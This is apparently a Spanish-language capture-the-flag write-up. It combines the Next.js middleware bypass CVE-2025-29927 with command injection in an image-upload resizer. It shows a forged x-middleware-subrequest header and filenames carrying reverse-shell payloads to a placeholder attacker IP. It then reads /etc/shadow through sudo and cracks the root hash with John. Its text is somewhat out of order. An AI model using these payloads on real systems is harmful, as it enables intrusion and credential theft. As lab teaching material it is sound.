
Desafío Capture the Flag: CVE-2025-29927 en combinación con una vulnerabilidad de inyección de comandos
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard redirige a /login. ¿Puedes encontrar alguna información en la página de inicio de sesión que te permita evitar la redirección?
— — —
x-middleware-subrequest. Next.js usa este encabezado internamente para evitar bucles infinitos de middleware. Cuando se procesa una solicitud, la función runMiddleware verifica los encabezados de la solicitud:
x-middleware-subrequest está presente
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
— — —
const filename = file.name; // VULNERABLE: No sanitization!
const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
const filepath = join(uploadsDir, sanitizedFilename);
await writeFile(filepath, buffer);
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => {
exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => {
...
convert se ejecuta usando exec(), y el nombre de archivo original (entrada del usuario) se inserta directamente en el comando del shell. Una posible solución sería usar nombres de archivo generados aleatoriamente en lugar de nombres de archivo de usuario y usar una API segura que evite el shell.
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
rockyou.txt.gz con el comando gzip -d /usr/share/wordlists/rockyou.txt.gz.
— — —
target@target:~$ sudo -l
Matching Defaults entries for webuser on photoresizer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User webuser may run the following commands on photoresizer:
(ALL) NOPASSWD: /usr/bin/cat /etc/shadow
target@target:~$ sudo cat /etc/shadow
root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
rockyou (root)
1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
target@target:~$ su - root
/root:
FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

x-middleware-subrequest
image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #

kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
/home/webuser
FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}